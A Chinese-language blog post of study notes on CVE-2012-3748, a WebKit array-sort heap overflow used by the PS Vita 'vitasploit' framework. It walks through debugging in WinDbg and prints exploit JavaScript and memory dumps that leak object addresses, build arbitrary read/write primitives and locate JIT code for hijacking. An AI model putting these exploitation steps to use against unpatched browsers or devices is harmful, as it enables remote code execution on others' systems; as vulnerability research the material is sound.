Retme的未来道具研究所

世界線の収束には、逆らえない

我的幻灯片下载:

https://github.com/retme7/My-Slides/blob/master/xKungfooSH%40retme.pdf


感谢xKungfoo组委会,楽しかったです,嘻嘻嘻


太久没冒泡出来炸一炸。。春节前夕玩过一点这个,因为只是笔记,比较凌乱 --->


vitasploit 是PSVita 上的RCE framework,使用这个框架可以在PSV的浏览器进程域中执行代码,系统版本要求是 <3.18。个人觉得这个框架非常棒,github的地址是 https://github.com/Hykem/vitasploit

当然这个框架用的漏洞比较老,因为PSV 之前webkit一直没怎么升级过,用的是CVE-2012-3748,这个洞已经在iOS上有公开的exploit。事实上这个漏洞在PSVita/Wii/Kindle/PS4 等设备的特定版本上依旧存在。


图为在PSVita TV上通过浏览器执行代码。4月份vitasploit更新之后已经可以做trinity-like syscall fuzzing了

春节时因为想要分析vitasploit,就顺便看了下这个洞,浏览器不是很懂,纯粹笔记。


在vita里面调试浏览器漏洞不太现实。最好还是在PC上调,我是在windows上调试的。由于需要的webkit版本很老,mac上编译调试的话需要雪豹,我实在找不到一个可以用雪豹的机器了。。。。Windows上可以下载现成的pdb符号进行调试,要方便很多。


首先在这里下载safari的pdb符号


http://builds.nightly.webkit.org/files/trunk/win/WebKit-SVN-r115198.zip


这里下载相应版本的safari  对应4.0.4



然后这里下载source code
cd JavaScriptCore/
svn update -r115198

最后挂上WINDBG。PS: 一开始选的r97675,但bug比较厉害,迁移到r115198上调试比较好


接下来就是一些分析过程了

=============================================================


1.漏洞

漏洞出现在js array排序方法中,在JS中调用somearray.sort(function_ptr)来为数组排序
function_ptr是调用者提供的比较函数,


void JSArray::sort(ExecState* exec, JSValue compareFunction, CallType callType, const CallData& callData)
{
     ...

    // FIXME: If the compare function modifies the array, the vector, map, etc. could be modified
    // right out from under us while we're building the tree here.

    unsigned numDefined = 0;
    unsigned numUndefined = 0;

    // Iterate over the array, ignoring missing values, counting undefined ones, and inserting all other ones into the tree.
    for (; numDefined < usedVectorLength; ++numDefined) {
        JSValue v = m_storage->m_vector[numDefined].get();
        if (!v || v.isUndefined())
            break;
        tree.abstractor().m_nodes[numDefined].value = v;
        tree.insert(numDefined);//这里调用了我们定义的compareFunction
                                //在这个函数中我们调用了JSArray.shift()
    }
     ...

    // FIXME: If the compare function changed the length of the array, the following might be
    // modifying the vector incorrectly.

    // Copy the values back into m_storage.
    // compareFunction已经将以一些元素移除,m_storage->m_vector的大小已经缩短,
    //     再去写m_storage->m_vector[i]就构成了堆溢出
    AVLTree<AVLTreeAbstractorForArrayCompare, 44>::Iterator iter;
    iter.start_iter_least(tree);
    JSGlobalData& globalData = exec->globalData();
    for (unsigned i = 0; i < numDefined; ++i) {
        m_storage->m_vector[i].set(globalData, this, tree.abstractor().m_nodes[*iter].value);
        ++iter;
    }
     ...
}


1+ 利用思路


0:000> dt WebCore::JSUint32Array 0x034deda8-0x28
WebKit!WebCore::JSUint32Array
   =0f0e0000 TypedArrayStorageType : 0x905a4d (No matching name)
   +0x000 m_classInfo      : 0x0f9c1860 JSC::ClassInfo
   +0x004 m_structure      : JSC::WriteBarrier<JSC::Structure>
   =0f0e0000 baseExternalStorageCapacity : 0x905a4d
   =0f0e0000 s_info           : JSC::ClassInfo
   =0f0e0000 StructureFlags   : 0x905a4d
   +0x008 m_propertyStorage : JSC::StorageBarrier
   +0x00c m_inheritorID    : JSC::WriteBarrier<JSC::Structure>
   +0x010 m_inlineStorage  : [4] JSC::WriteBarrier<enum JSC::Unknown>
   =0f9a8220 s_info           : JSC::ClassInfo
   +0x030 m_impl           : 0x7fdbc300 WTF::ArrayBufferView
   =0f0e0000 StructureFlags   : 0x905a4d
   =0f9c1860 s_info           : JSC::ClassInfo
   =0f0e0000 TypedArrayStorageType : 0x905a4d (No matching name)
   +0x038 m_storageLength  : 0n8
   +0x03c m_storage        : 0x7fdbc320 Void
   =0f0e0000 StructureFlags   : 0x905a4d


JSUint32Array.m_inlineStorage是一段JS可控的内存,用来装载属性。利用这段内存来构造一个GetterSetter结构体。
接着利用漏洞篡改JSUint32Array.m_impl为GetterSetter.m_getter,这是一个JSC::JSFunction类型,,将JSUint32Array.m_storageLength设置的极大,以达到任意内存写的目的
把JSC::JSFunction.m_propertyStorage  作为了 JSUint32Array.m_impl.m_baseAddress  即u32[0]的基地址
然后再来修改JSC::JSFunction的JIT地址和shellcode,最后触发shellcode执行


2.JSArray 内存布局分析

JSArray的定义是ArrayStorage



    struct ArrayStorage {
        unsigned m_length; // The "length" property on the array
        unsigned m_numValuesInVector;
        void* m_allocBase; // Pointer to base address returned by malloc().  Keeping this pointer does eliminate false positives from the leak detector.
#if CHECK_ARRAY_CONSISTENCY
        // Needs to be a uintptr_t for alignment purposes.
        uintptr_t m_initializationIndex;
        uintptr_t m_inCompactInitialization;
#else
        uintptr_t m_padding;
#endif
        WriteBarrier<Unknown> m_vector[1];


从code可以推测出 JSArray的布局 |m_length|m_numValuesInVector|m_allocBase|m_padding or ..|m_vector[len]|


0:000> dq 0x02460290
02460290  00000005`00000005 fffffffa`02460290
024602a0  ffffffff`00000000 ffffffff`00000001
024602b0  ffffffff`00000002 ffffffff`00000003
024602c0  fffffffb`0224fa00 00000005`00000005
024602d0  fffffffa`024602c8 ffffffff`00000000
024602e0  ffffffff`00000001 ffffffff`00000002
024602f0  ffffffff`00000003 ffffffff`00000004

JSValue如果是一个int,那么直接放到JSValue里面,前面4位是0xffff,也就是说只能保存2^48

如果JSValue代表的是一个对象,比如Uint32Array,那么保存的是指针



3.利用
Part 1:泄露出u32 address



    a1.sort() -> compare(3,4) -> a1.shift()

//===========================windbg info====================================
//===========================windbg info====================================  
//     call a1.shift(), length = 4
0:000> dq 0x02460290
02460290  00000004`00000004 00000004`00000004
024602a0  fffffffa`02460290 ffffffff`00000001
024602b0  ffffffff`00000002 ffffffff`00000003
024602c0  fffffffb`0224fa00 00000005`00000005
024602d0  fffffffa`024602c8 ffffffff`00000000
024602e0  ffffffff`00000001 ffffffff`00000002
024602f0  ffffffff`00000003 ffffffff`00000004
02460300  00000003`00000003 fffffffa`02460300

     -> return to a1.sort()
0:000> dq 0x02460290
02460290  00000004`00000004 00000005`00000004
024602a0  fffffffa`02460290 ffffffff`00000000
024602b0  ffffffff`00000001 ffffffff`00000002
024602c0  ffffffff`00000003 fffffffb`0224fa00 <- corrupted a2.length = u32 address
024602d0  fffffffa`024602c8 ffffffff`00000000
024602e0  ffffffff`00000001 ffffffff`00000002
024602f0  ffffffff`00000003 ffffffff`00000004
02460300  00000003`00000003 fffffffa`02460300  

JSArray a1      : |length = 4|x|x|x|1|2|3|length = u32 address
JavaScriptCore!JSC::ArrayStorage
   +0x000 m_length         : 4
   +0x004 m_numValuesInVector : 4
   +0x008 m_allocBase      : 0x00000004 Void
   +0x00c m_padding        : 5
   +0x010 m_vector         : [1] JSC::WriteBarrier<enum JSC::Unknown>

JSArray a2 : |length = u32 address |x|x|x|0|1|2|3|4|
JavaScriptCore!JSC::ArrayStorage
   +0x000 m_length         : 0x224fa00
   +0x004 m_numValuesInVector : 0xfffffffb
   +0x008 m_allocBase      : 0x024602c8 Void
   +0x00c m_padding        : 0xfffffffa
   +0x010 m_vector         : [1] JSC::WriteBarrier<enum JSC::Unknown>

//===========================windbg info  END====================================
//===========================windbg info  END====================================

Part 2:
2.1    a1.sort() -> compare(0,1)  -> a1.length = 5;a1.shift();a2.length = a2.length+ 0x28

//===========================windbg info====================================
//===========================windbg info====================================

JSArray a1      : |length = 4|x|x|x|1|2|3|length = u32 address + 0x28|
0:000> dq 0x02460290
02460290  00000004`00000004 00000004`00000004
024602a0  00000004`00000004 fffffffa`02460290     <- 024602a0 = base of JSArray a1
024602b0  ffffffff`00000001 ffffffff`00000002
024602c0  ffffffff`00000003 fffffffb`0224fa28     <- corrupted a2.length = u32 address + 0x28
024602d0  fffffffa`024602c8 ffffffff`00000000
024602e0  ffffffff`00000001 ffffffff`00000002
024602f0  ffffffff`00000003 ffffffff`00000004
02460300  00000003`00000003 fffffffa`02460300  

JSArray a2      : |length = u32 address + 0x28|x|x|x|0|1|2|3|4|
JavaScriptCore!JSC::ArrayStorage
   +0x000 m_length         : 0x224fa28
   +0x004 m_numValuesInVector : 0xfffffffb
   +0x008 m_allocBase      : 0x024602c8 Void
   +0x00c m_padding        : 0xfffffffa
   +0x010 m_vector         : [1] JSC::WriteBarrier<enum JSC::Unknown>

2.2    ->compare(x,3) -> a1.unshift(0)

    |length = 5|x|x|x|0|1|2|3|length = u32 address + 0x28|x|x|x|0|1|2|3|4|

0:000> dq 0x02460290
02460290  00000004`00000004 00000005`00000005
024602a0  fffffffa`02460290 ffffffff`00000000
024602b0  ffffffff`00000001 ffffffff`00000002
024602c0  ffffffff`00000003 fffffffb`0224fa28
024602d0  fffffffa`024602c8 ffffffff`00000000
024602e0  ffffffff`00000001 ffffffff`00000002
024602f0  ffffffff`00000003 ffffffff`00000004
02460300  00000003`00000003 fffffffa`02460300

JSArray a1      : |length = 5|x|x|x|0|1|2|3|length = u32 address + 0x28|
JavaScriptCore!JSC::ArrayStorage
   +0x000 m_length         : 5
   +0x004 m_numValuesInVector : 5
   +0x008 m_allocBase      : 0x02460290 Void
   +0x00c m_padding        : 0xfffffffa
   +0x010 m_vector         : [1] JSC::WriteBarrier<enum JSC::Unknown>

JSArray a2      : |length = u32 address + 0x28|x|x|x|0|1|2|3|4
JavaScriptCore!JSC::ArrayStorage
   +0x000 m_length         : 0x224fa28
   +0x004 m_numValuesInVector : 0xfffffffb
   +0x008 m_allocBase      : 0x024602c8 Void
   +0x00c m_padding        : 0xfffffffa
   +0x010 m_vector         : [1] JSC::WriteBarrier<enum JSC::Unknown>

2.3    ->return to a1.sort()

    |length = 5|x|x|x|0|1|3|length = u32 address + 0x28|length = u32 address + 0x28|x|x|x|0|1|2|3|4|

0:000> dq 0x02460290
02460290  00000004`00000004 00000004`00000005
024602a0  fffffffa`02460290 ffffffff`00000000
024602b0  ffffffff`00000001 ffffffff`00000003   <-- 不要过于纠结为啥这里是 01 | 03 | ... 中间少了02
024602c0  fffffffb`0224fa28 fffffffb`0224fa28
024602d0  fffffffa`024602c8 ffffffff`00000000
024602e0  ffffffff`00000001 ffffffff`00000002
024602f0  ffffffff`00000003 ffffffff`00000004
02460300  00000003`00000003 fffffffa`02460300



不要过于纠结为啥这里是 01 | 03 | ... 中间少了02:非要说的话,是因为 m_storage->m_vector的位置因为comparFunc的调整,向后错了一位。



   for (; numDefined < usedVectorLength; ++numDefined) {
        JSValue v = m_storage->m_vector[numDefined].get();
        if (!v || v.isUndefined())
            break;
        tree.abstractor().m_nodes[numDefined].value = v;
        tree.insert(numDefined);
    }

//===========================windbg info  END====================================
//===========================windbg info  END====================================

Part 3: overwriting ((JSUint32Array)u32).m_impl pointer

绕了这么大弯子,其实也就是为了泄露出 u32的地址

3.1          改写mo.prop0 = ((JSUint32Array)u32).m_impl - 0x8




0:000> dt WebCore::JSUint32Array
WebKit!WebCore::JSUint32Array
   =0f0e0000 TypedArrayStorageType : JSC::TypedArrayType
   +0x000 m_classInfo      : Ptr32 JSC::ClassInfo
   +0x004 m_structure      : JSC::WriteBarrier<JSC::Structure>
   =0f0e0000 baseExternalStorageCapacity : Uint4B
   =0f0e0000 s_info           : JSC::ClassInfo
   =0f0e0000 StructureFlags   : Uint4B
   +0x008 m_propertyStorage : JSC::StorageBarrier
   +0x00c m_inheritorID    : JSC::WriteBarrier<JSC::Structure>
   +0x010 m_inlineStorage  : [4] JSC::WriteBarrier<enum JSC::Unknown>
   =0f9a8220 s_info           : JSC::ClassInfo
   +0x030 m_impl           : Ptr32 WTF::ArrayBufferView                 
   =0f0e0000 StructureFlags   : Uint4B
   =0f9c1860 s_info           : JSC::ClassInfo
   =0f0e0000 TypedArrayStorageType : JSC::TypedArrayType
   +0x038 m_storageLength  : Int4B
   +0x03c m_storage        : Ptr32 Void
   =0f0e0000 StructureFlags   : Uint4B

总之现在a1[3]是JSUint32Array + 0x28 = 是JSUint32Array.m_impl - 8,

接下来构造一个a3,后面紧跟着一个mo,他的property storage紧跟在a3后面




var a3 = [0,1,2,a1[3]];
var mo = {};
var pd = { get: function(){return 0;}, set: function(arg){return 0;}, enumerable:true, configurable:true }  

        // allocate mo's property storage right after a3's buffer
        Object.defineProperty(mo, "prop0", pd);
        for(var i=1; i < 7; i++){
            mo["prop"+i] = i;
        }

mem layout :

|length = 4|x|x|x|0|1|2|u32 address + 0x28 | pd_ptr | 1 | 2 | 3 | 4 | 5 | 6 |

0:000> dq 0x02e103e0
02e103e0  00000004`00000004 fffffffa`02e103e0
02e103f0  ffffffff`00000000 ffffffff`00000001
02e10400  ffffffff`00000002 fffffffb`034deda8
02e10410  fffffffb`0386ffc0 ffffffff`00000001
02e10420  ffffffff`00000002 ffffffff`00000003
02e10430  ffffffff`00000004 ffffffff`00000005
02e10440  ffffffff`00000006 fffffffa`00000000
02e10450  fffffffa`00000000 fffffffa`00000000

shift & sort: u32 address + 0x28 = pd_ptr

0:000> dq 0x02e103e0
02e103e0  00000003`00000003 00000003`00000003
02e103f0  fffffffa`02e103e0 ffffffff`00000000
02e10400  ffffffff`00000001 ffffffff`00000002
02e10410  fffffffb`034deda8 ffffffff`00000001
02e10420  ffffffff`00000002 ffffffff`00000003
02e10430  ffffffff`00000004 ffffffff`00000005
02e10440  ffffffff`00000006 fffffffa`00000000
02e10450  fffffffa`00000000 fffffffa`00000000

|length = 4|x|x|x|0|1|2|u32 address + 0x28 | mo.prop0 = u32.m_impl | mo.prop1 = 1 | 2 | 3 | 4 | 5 | 6 |

0:000> dq 0x02e103e8
02e103e8  00000004`00000003 fffffffa`02e103e0
02e103f8  ffffffff`00000000 ffffffff`00000001
02e10408  ffffffff`00000002 fffffffb`034deda8
02e10418  ffffffff`00000001 ffffffff`00000002
02e10428  ffffffff`00000003 ffffffff`00000004
02e10438  ffffffff`00000005 ffffffff`00000006
02e10448  fffffffa`00000000 fffffffa`00000000
02e10458  fffffffa`00000000 fffffffa`00000000

034deda8 是指JSUint32Array.m_impl - 0x8

0:000> dt WebCore::JSUint32Array 0x034deda8-0x28
WebKit!WebCore::JSUint32Array
   =0f0e0000 TypedArrayStorageType : 0x905a4d (No matching name)
   +0x000 m_classInfo      : 0x0f9c1860 JSC::ClassInfo
   +0x004 m_structure      : JSC::WriteBarrier<JSC::Structure>
   =0f0e0000 baseExternalStorageCapacity : 0x905a4d
   =0f0e0000 s_info           : JSC::ClassInfo
   =0f0e0000 StructureFlags   : 0x905a4d
   +0x008 m_propertyStorage : JSC::StorageBarrier
   +0x00c m_inheritorID    : JSC::WriteBarrier<JSC::Structure>
   +0x010 m_inlineStorage  : [4] JSC::WriteBarrier<enum JSC::Unknown>
   =0f9a8220 s_info           : JSC::ClassInfo
   +0x030 m_impl           : 0x7fdbc300 WTF::ArrayBufferView
   =0f0e0000 StructureFlags   : 0x905a4d
   =0f9c1860 s_info           : JSC::ClassInfo
   =0f0e0000 TypedArrayStorageType : 0x905a4d (No matching name)
   +0x038 m_storageLength  : 0n8
   +0x03c m_storage        : 0x7fdbc320 Void
   =0f0e0000 StructureFlags   : 0x905a4d

JSUint32Array.m_impl
0:000> dt WTF::ArrayBufferView 0x7fdbc300
WebKit!WTF::ArrayBufferView
   +0x004 m_refCount       : 0n1
   +0x000 __VFN_table : 0x0f8acdf4
   +0x008 m_baseAddress    : 0x7fdbc320 Void
   +0x00c m_byteOffset     : 0
   +0x010 m_buffer         : WTF::RefPtr<WTF::ArrayBuffer>
   +0x014 m_prevView       : (null)
   +0x018 m_nextView       : (null)

3.2  现在webcore::jsuint32array的布局是这样的

0218e780  ->base

0218e790  property storage = 4*long (inlineStorage)

0218e7a8  JSUint32Array.m_impl



首先利用u32.property伪造GetterSetter的结构头部


// This is an internal value object which stores getter and setter functions
// for a property.
0:000> dt JSC::GetterSetter
JavaScriptCore!JSC::GetterSetter
   =51870000 TypedArrayStorageType : JSC::TypedArrayType
   +0x000 m_classInfo      : Ptr32 JSC::ClassInfo
   +0x004 m_structure      : JSC::WriteBarrier<JSC::Structure>
   =519bda68 s_info           : JSC::ClassInfo
   +0x008 m_getter         : JSC::WriteBarrier<JSC::JSObject>
   +0x00c m_setter         : JSC::WriteBarrier<JSC::JSObject>

         // construct the valid GetterSetter object
         u32.prop1 = 8;      // 8 = JSType.GetterSetterType
         u32.prop2 = 8;
         u32.prop3 = 8;      
         u32.prop4 = u2d(u32addr, u32addr+0x10); // ((GetterSetter)mo.prop0).m_structure  指向 JSUint32Array.m_inlineStorage

         // prepare JSFunction which will be refered by u32.m_impl
         var f = new Function(" return 876543210 + " + (_cnt++) + ";");
            f.prop2 = u2d(0x40000000,0x40000000); // a new value for u32.length
         f();

          //这里把 pd.get复写到了 u32.m_impl
            //f.prop2 = u2d(0x40000000,0x40000000)为何能改变u32的长度?(见下面)

         // overwrite u32.m_impl by the pd.get object
         pd.get = f;
         Object.defineProperty(mo, "prop0", pd);  

//现在被替换之后的     JSUint32Array 长这样
0:000> dt WebCore::JSUint32Array 0x0253dc80
WebKit!WebCore::JSUint32Array
   =0f810000 TypedArrayStorageType : 0x905a4d (No matching name)
   +0x000 m_classInfo      : 0x100f1860 JSC::ClassInfo
   +0x004 m_structure      : JSC::WriteBarrier<JSC::Structure>
   =0f810000 baseExternalStorageCapacity : 0x905a4d
   =0f810000 s_info           : JSC::ClassInfo
   =0f810000 StructureFlags   : 0x905a4d
   +0x008 m_propertyStorage : JSC::StorageBarrier
   +0x00c m_inheritorID    : JSC::WriteBarrier<JSC::Structure>
   +0x010 m_inlineStorage  : [4] JSC::WriteBarrier<enum JSC::Unknown>
   =100d8220 s_info           : JSC::ClassInfo
   +0x030 m_impl           : 0x0253d380 WTF::ArrayBufferView
   =0f810000 StructureFlags   : 0x905a4d
   =100f1860 s_info           : JSC::ClassInfo
   =0f810000 TypedArrayStorageType : 0x905a4d (No matching name)
   +0x038 m_storageLength  : 0n8
   +0x03c m_storage        : 0x7fe0e9a0 Void
   =0f810000 StructureFlags   : 0x905a4d
0:000> dd 0x0253d380                                    //WTF::ArrayBufferView  同时也是 GetterSetter.m_getter   JSC::JSFunction,
0253d380  018edd18 024a8880 0253d390 00000000
0253d390  028be440 fffffffb 40000000 40000000     //40000000 40000000就是f.prop2
0253d3a0  00000000 fffffffa 00000000 fffffffa
0253d3b0  02a9ef40 028be420 00000000 00000000
0253d3c0  018edd18 024ab9a0 0253d3d0 00000000
0253d3d0  028be4a0 fffffffb 00000002 ffffffff
0253d3e0  00000000 fffffffa 00000000 fffffffa
0253d3f0  0253d400 028bf420 00000000 00000000

0:000> dt JSC::jsfunction  0x0253d380
JavaScriptCore!JSC::JSFunction
   =017a0000 TypedArrayStorageType : 0x905a4d (No matching name)
   +0x000 m_classInfo      : 0x018edd18 JSC::ClassInfo
   +0x004 m_structure      : JSC::WriteBarrier<JSC::Structure>
   =017a0000 baseExternalStorageCapacity : 0x905a4d
   =018edee8 s_info           : JSC::ClassInfo
   =017a0000 StructureFlags   : 0x905a4d
   +0x008 m_propertyStorage : JSC::StorageBarrier
   +0x00c m_inheritorID    : JSC::WriteBarrier<JSC::Structure>
   +0x010 m_inlineStorage  : [4] JSC::WriteBarrier<enum JSC::Unknown>
   =018edd18 s_info           : JSC::ClassInfo
   =017a0000 StructureFlags   : 0x905a4d
   +0x030 m_executable     : JSC::WriteBarrier<JSC::ExecutableBase>
   +0x034 m_scopeChain     : JSC::WriteBarrier<JSC::ScopeChainNode>

0:000> dt WTF::ArrayBufferView 0x0253d380
JavaScriptCore!WTF::ArrayBufferView
   +0x004 m_refCount       : 0n38439040
   +0x000 __VFN_table : 0x018edd18
   +0x008 m_baseAddress    : 0x0253d390 Void   //JSC::JSFunction.m_propertyStorage  作为了 JSUint32Array.m_impl.m_baseAddress  即u32[0]的基地址
   +0x00c m_byteOffset     : 0
   +0x010 m_buffer         : WTF::RefPtr<WTF::ArrayBuffer>
   +0x014 m_prevView       : 0xfffffffb WTF::ArrayBufferView
   +0x018 m_nextView       : 0x40000000 WTF::ArrayBufferView

0:000> dt WebKit!WTF::Uint32Array 0x0240de80
   +0x004 m_refCount       : 0n37594752
   +0x000 __VFN_table : 0x77eedd18
   +0x008 m_baseAddress    : 0x0240de90 Void
   +0x00c m_byteOffset     : 0
   +0x010 m_buffer         : WTF::RefPtr<WTF::ArrayBuffer>
   +0x014 m_prevView       : 0xfffffffb WTF::ArrayBufferView
   +0x018 m_nextView       : 0x40000000 WTF::ArrayBufferView
   +0x01c m_length         : 0x40000000 //f.prop2 = u2d(0x40000000,0x40000000)能改变u32的长度

          // delete corrupted property
          delete mo.prop0;

          // check results: u32.length is taken from f's internals
          logAdd("u32.length = 0x" + u32.length.toString(16));
          if (u32.length == u32len) { logAdd("error: 3"); return 3; }
          //logAdd("u32[] data:<br/>" + ArrayToString(u32,0,16)); // for RnD

Part 4: getting the JIT-code memory address

          // find out the memory address of u32[0] (ArrayBufferView.m_baseAddress)
          var u32base = u32[0x40000000-2];
          logAdd("u32 address = 0x" + u32addr.toString(16));
          logAdd("u32 base = 0x" + u32base.toString(16));  
          //
          /*   计算出u32base
               JSUint32Array.getByIndex()  实现如下
                    u32base = *(JSUint32Array->m_impl->m_baseAddress + index*4)
                    index = 0x3ffffffe

               so
                    u32base = *(JSUint32Array->m_impl->m_baseAddress + 0xFFFFFFF8)  正好取到了 *JSC::JSFunction.m_propertyStorage = JSC::JSFunction.m_inlineStorage 作为 base

          */

          // declare aux functions                  
          var getU32 = function(addr) {
               return u32[(addr - u32base) >>> 2];   
          }
          var setU32 = function(addr,val) {
               return u32[(addr - u32base) >>> 2] = val;   
          }

          // read ((JSFunction)f).m_executable;
          var jitObj = u32[8];          //JSC::JSFunction.m_inlineStorage + 0x20 = JSC::JSFunction.m_executable
          logAdd("JIT object = 0x" + jitObj.toString(16));

          // read ExecutableBase.m_jitCodeForCall
          jitObj += 0x10;
          var jitAddr = getU32(jitObj);
          logAdd("JIT address = 0x" + jitAddr.toString(16));
          if (!jitAddr) { logAdd("error: 4"); return 4; }



后面就没啥了,改写JIT指针执行rop。vitaslpoit的最后这里的处理和iOS有些不同,没有覆盖JIT而是覆盖的vTable 。